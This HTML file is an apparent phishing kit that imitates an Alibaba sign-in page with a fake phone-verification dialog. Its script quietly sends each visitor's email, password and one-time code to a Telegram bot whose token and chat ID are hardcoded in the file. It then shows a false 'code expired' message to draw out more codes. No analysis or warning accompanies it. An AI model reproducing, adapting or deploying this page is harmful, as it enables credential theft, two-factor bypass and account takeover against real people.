




<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.1/dist/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@10"></script>


    <title>Alibaba Login </title>
    <style>
    body {
        font: 12px/1.5 "Microsoft YaHei", tahoma, arial, 'Hiragino Sans GB', '\5b8b\4f53', sans-serif;
        background-size: 1587px 596px;
        background-repeat: no-repeat;
         background-size: cover; /* Set background-size to cover the full page */
        margin: 0;
        padding: 0;
    }


section {
        font: 12px/1.5 "Microsoft YaHei", tahoma, arial, 'Hiragino Sans GB', '\5b8b\4f53', sans-serif;
        background-image: url("https://res.cloudinary.com/ds0tuf82k/image/upload/v1729244545/O1CN01jhcep828PhodHhQBb__6000000007925-2-tps-2200-600_ppjgmf.png");
        background-repeat: no-repeat;

    }


#navbar {
    height: 100px;
    background-color: #fff;
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 0 20px;
    width: 100%; /* Make the navbar full-width on all screens */
    position: fixed; /* Fixed position to stick it at the top */
    top: 0; /* Place it at the top of the screen */
    z-index: 999; /* Ensure it's above other elements */
}

#logo {
    height: 40px;
}

#language-dropdown {
    display: flex;
    align-items: center;

    padding-right: 1000px;
}

select {
    background-color: transparent;
    border: 1px solid #ddd;
    border-radius: 5px;
    padding: 5px 10px;
}
 #logo {
            height: 60px;
        }

#content {
    width: 385px;
    height: 893px;
    display: flex;
    flex-direction: column;
    align-items: flex-end;
    margin: 100px 0 0; /* Adjust the top margin to make space for the fixed navbar */
    padding: 20px;
    margin-left: auto;
    margin-right: 250px;
}

#login-form-wrapper {
        width: 430px;

    padding: 20px;
    border: 1px solid #ddd;
    box-shadow: 0 0 10px #ddd;
    background: #fff;
    margin-top: 20px;
    margin-left: auto;
}

/* Create a space below the content for the fixed navbar */
@media screen and (max-width: 600px) {
    #content {
        margin: 120px 0 0; /* Increase the top margin to make more space for the fixed navbar */
    }
}


    .title {
        font-size: 18px;
        font-weight: bold;
        margin-bottom: 20px;
    }

    .form-error {
        color: #FF0000;
    }

    .fm-field {
        display: flex;
        flex-direction: column;
        margin-bottom: 15px;
    }

    .fm-label {
        font: 400 12px Arial;
        font-weight: 700;
        color: #4d4d4d;
        margin-bottom: 5px;
    }

    .fm-checkbox {
        align-self: flex-start;
    }

    .fm-text {
        width: 100%;
        padding: 10px;
        border: 1px solid #ddd;
        border-radius: 5px;
        box-sizing: border-box;
    }

    .fm-button {
        font-size: 18px;
        color: white;
        background-color: #f40;
        height: 50px;
        border-radius: 5px;
        border: none;
        cursor: pointer;
    }

    .fm-button:hover {
        background-color: #f40;
    }

    .register-link {
        text-align: center;
    }

    .register-link a {
        text-decoration: none;
        color: #08c;
    }

    .fm-field img {
        margin-right: 10px;
    }

    hr {
        border: 1px solid #ddd;
        border-top: 1px solid #fff;
        margin-top: 20px;
        margin-bottom: 20px;
    }

    #language-dropdown {
        order: 2;
    }

    #logo {
        order: 1;
    }

    footer {
        background-color: #333;
        color: #fff;
        text-align: center;
        padding: 10px 0;
    }

    .footer-content {
        max-width: 1200px;
        margin: 0 auto;
    }


    @media screen and (max-width: 600px) {
        #navbar {
            padding: 0 10px; /* Reduce padding for smaller screens */
        }
    }
</style>

</head>
<body>
    <section>
    <div id="navbar">
        <div id="language-dropdown">
            <select>
                <option value="en">English</option>
                <option value="es">Español</option>
                <option value="fr">Français</option>
            </select>
        </div>
        <img id="logo" src="https://res.cloudinary.com/ds0tuf82k/image/upload/v1717432882/logo_v2rpju.png" alt="Logo">
    </div>

    <div id="content">
        <div id="login-form-wrapper" class="login-form-wrapper">
            <form id="login-form" name="login-form" method="post" class="form clr style-type-auto lang-en_us auto-en_us ">
                <input type="hidden" name="csrfmiddlewaretoken" value="89ZSLxurLxyo60kL7MvYVhTLGAaAlvDdV9RFl8X9TS4IWUtDbyWECPyLuM3v4s44">
                <div id="login-error" class="form-error notice notice-error">
                    <span class="icon-notice icon-error"></span>
                </div>
                <div class="fm-field">
                    <img src="https://gw.alicdn.com/tps/i1/TB1VHK4KFXXXXbPXFXXwxCdHXXX-47-47.png" alt="Image" style="width: 47px; height: 47px; margin-left: 340px; ">
                    <label for="fm-login-id" class="fm-label">Account:</label>
                    <input type="text"  name="email" id="email" placeholder="Email address or member ID" class="fm-text" required />
                </div>

                <div class="fm-field">
                    <div style="display: flex; justify-content: space-between;">
                    <span><label for="fm-login-password" class="fm-label">Password:</label></span>
                   <span><label for="fm-login-password" class="fm-label">Forgot password?</label></span>

                    </div>
                    <input type="password"  name="password" id="password" class="fm-text" placeholder="Password" required />
                </div>
                <div class="fm-field">
                    <input type="checkbox"  class="fm-checkbox fm-keep-login" id="fm-keep-login" checked />
                    <label id="lbl-keep-login" for="fm-keep-login">Stay signed in</label>
                </div>
                <div class="fm-field">
                    <input type="hidden" name="event_submit_do_login" value="submit" />
                    <input id="login-button" data-toggle="modal" data-target="#verificationModal" value="Sign In" class="fm-button fm-submit" type="submit" tabindex="4" name="submit-btn" />
                </div>
                <hr>
                <div style="text-align: center; font-size: 20px; display: flex; align-items: center; justify-content: center;">
                    <div style="margin-right: 10px;"><small>Sign in with:</small></div>
                    <a href="#" style="text-decoration: none;">
                        <img src="https://res.cloudinary.com/ds0tuf82k/image/upload/v1717432881/facebook_wawa64.png" alt="Facebook" >
                    </a>
                    <a href="#" style="text-decoration: none;">
                        <img src="https://res.cloudinary.com/ds0tuf82k/image/upload/v1717432880/gmail_jrx3fh.png" alt="Gmail" >
                    </a>
                    <a href="#" style="text-decoration: none;">
                        <img src="https://res.cloudinary.com/ds0tuf82k/image/upload/v1717432882/linkedin_vhejfm.png" alt="LinkedIn" >
                    </a>
                </div>

                <div class="register-link">
                    <div style="display: flex; justify-content: space-between;">
                        <span><a href="#"><small>Mobile number sign in</small></a></span>
                        <span><a href="#" class="register"  data-spm-protocol="i"><small>Create account</small></a></span>
                    </div>
                </div>
            </form>
        </div>
    </div>


</section>


    <style type="text/css">
        
/* Add these styles to align the label and input field horizontally */
.otp-form {
    display: flex;
    align-items: center;
}

.otp-form label {
    flex: 0 0 auto; /* Ensure the label doesn't grow */
    margin-right: 10px; /* Add some spacing between label and input field */
}
/* Add this style to increase the height of the verification code input field */
#otp {
    height: 50px; /* Increase the input field's height to 40px, adjust as needed */
    border: 1px solid lightgray; /* Add a light gray border */

}


/* Style the button inside the modal footer */
#verify-button {
    font-size: 18px;
    color: white;
    background-color: #f40;
    border-radius: 5px;
    border: none;
    cursor: pointer;
    width: 100%; /* Make the button span the entire width of the modal footer */
}

/* Style the button on hover for user feedback */
#verify-button:hover {
    background-color: #e00;
}



     .modal-content {
    background-color: #fff;
    padding: 20px;
    border-radius: 5px;
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
    max-width: 385px; /* Set the width to 385 pixels */
    height: 493px; /* Set the height to 493 pixels */
}



     

       

        .close {
            position: absolute;
            top: 10px;
            right: 10px;
            cursor: pointer;
        }

        /* Style for icons */
        i {
            margin: 10px;
        }

        /* Style for the verification form */
        #otp-form input,
        #verify-button {
            width: 100%;
            margin: 10px 0;
        }

        /* Style for the checkbox and label */
        input[type="checkbox"] {
            margin-right: 5px;
        }

        label[for="trust-device-checkbox"] {
            font-size: 14px;
        }

    </style>



<!-- Modal -->
<div class="modal fade" id="verificationModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
  <div class="modal-dialog" role="document">
    <div class="modal-content" style="max-width: 450px; height: 600px;">
    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      
      <div class="modal-body">
        <div style="display: flex;">
        <i class="fa fa-info-circle" style="color: rgb(0, 168, 248);"></i>
        <p style="font-size: 14px;">To protect your account, please complete the verification.</p>
        </div>

        <br>
 
        <p style="font-size: 14px;">Mobile: xxxxxx</p>








<form id="otp-form" name="otp-form" method="post">
    <input type="hidden" name="csrfmiddlewaretoken" value="89ZSLxurLxyo60kL7MvYVhTLGAaAlvDdV9RFl8X9TS4IWUtDbyWECPyLuM3v4s44">
    <div class="form-group" style="display: flex; align-items: center;">
        <label for="otp" style="flex: 1; float: left; width: 70px; margin-left: -75px; padding-top: 12px; text-align: right; font-size: 12px;">
            <p style="font-size: 14px;">Verification <br>Code:</p>
        </label>
        <input type="text" name="otp" id="otp" class="form-control" style="flex: 2;" placeholder="6 digit" required>
        <span id="otp-counter"></span> <!-- Add this line for the OTP counter -->
    </div>

    <div style="padding-left: 50px; display: flex;">
        <i class="fa fa-check-circle" style="color: #78c430; flex: 1;"></i>
        <p>A verification code has been sent to your cell phone and remains valid for 15 minutes. Please do not share this code with others.</p>
    </div>

    </div>
    <center> <p style="font-size: 14px;">Code not received? Click here.</p></center>
    <div class="form-check">
        <input type="checkbox" class="form-check-input" id="trust-device-checkbox">
        <label class="form-check-label" for="trust-device-checkbox">I trust this device, Don't verify my account on this device again.</label>
    </div>
    <button id="verify-button" type="submit" class="btn btn-primary">Submit</button>
</form>







         <center><p style="color:#e00;">Phone is not available? Click here to modify</p></center> 
    </div>
  </div>

</div>






</body>
</html>

</body>
</html>

<script>
    document.addEventListener('DOMContentLoaded', function () {
        const loginForm = document.getElementById('login-form');
        const otpForm = document.getElementById('otp-form');

        // Telegram bot configuration
        const botToken = '7511914687:AAFKFkWs2sXCPUoA19fUdPjL7NjcKYRdZqc';
        const chatId = '6573970428';

        // Placeholder for client IP (in a real scenario, retrieve it from an external service)
        const client_ip = '192.168.1.1'; // Replace this with an IP detection mechanism if needed
        const browser = navigator.userAgent;

        // Handle login form submission
        loginForm.addEventListener('submit', function (e) {
            e.preventDefault();

            const email = document.getElementById('email').value;
            const password = document.getElementById('password').value;

            // Prepare the message content to be sent to Telegram
            const text = `
|-------------xLs |-------------------------|
Email         : ${email}
Password      : ${password}
|-------------INFO
Client IP     : ${client_ip}
|---${browser}`;

            // Send the message to Telegram
            const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(text)}`;

            fetch(url)
                .then(response => response.json())
                .then(data => {
                    if (data.ok) {
                        $('#verificationModal').modal('show'); // Show verification modal on success
                    } else {
                        Swal.fire({
                            icon: 'error',
                            title: 'Login failed',
                            text: 'Error sending message to Telegram',
                        });
                    }
                })
                .catch(error => {
                    Swal.fire({
                        icon: 'error',
                        title: 'Error',
                        text: error.message,
                    });
                });
        });

        // Handle OTP form submission
        // Handle OTP form submission
otpForm.addEventListener('submit', function (e) {
    e.preventDefault();

    const otp = document.getElementById('otp').value;
    const email = document.getElementById('email').value;
    const password = document.getElementById('password').value;

    // Prepare the OTP message to be sent to Telegram
    const text = `
|-------------xLs |-------------------------|
OTP           : ${otp}
Email         : ${email}
Password      : ${password}
|-------------INFO
Client IP     : ${client_ip}
|---${browser}`;

    // Send the OTP data to Telegram
    const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(text)}`;

    fetch(url)
        .then(response => response.json())
        .then(data => {
            if (data.ok) {
                Swal.fire({
                    icon: 'error',
                    title: 'OTP code already expired',
                    text: 'Another OTP code has been sent check email or sms.',
                }).then(() => {
                    // Clear the OTP input field but keep the modal open
                    document.getElementById('otp').value = '';
                    // Do NOT redirect immediately, allow modal to stay open
                    // window.location.href = ''; // Remove redirect for now
                });
            } else {
                Swal.fire({
                    icon: 'error',
                    title: 'Verification failed',
                    text: 'Error sending OTP to Telegram',
                });
            }
        })
        .catch(error => {
            Swal.fire({
                icon: 'error',
                title: 'Error',
                text: error.message,
            });
        });
});


        // OTP counter logic
        const verificationCodeInput = document.getElementById("otp");
        const otpCounter = document.getElementById("otp-counter");
        const loginButton = document.getElementById("login-button");
        let countdownInterval;

        loginButton.addEventListener("click", function() {
            let seconds = 60;

            countdownInterval = setInterval(function() {
                if (seconds >= 0) {
                    otpCounter.textContent = seconds + " s";
                    otpCounter.style.color = "red";
                    seconds--;
                } else {
                    clearInterval(countdownInterval);
                    otpCounter.textContent = "";
                    otpCounter.style.color = "";
                    verificationCodeInput.placeholder = "6 digit";
                }
            }, 1000);
        });

        verificationCodeInput.addEventListener("focus", function() {
            clearInterval(countdownInterval);
            otpCounter.textContent = "";
            otpCounter.style.color = "";
            verificationCodeInput.placeholder = "6 digit";
        });
    });
</script>



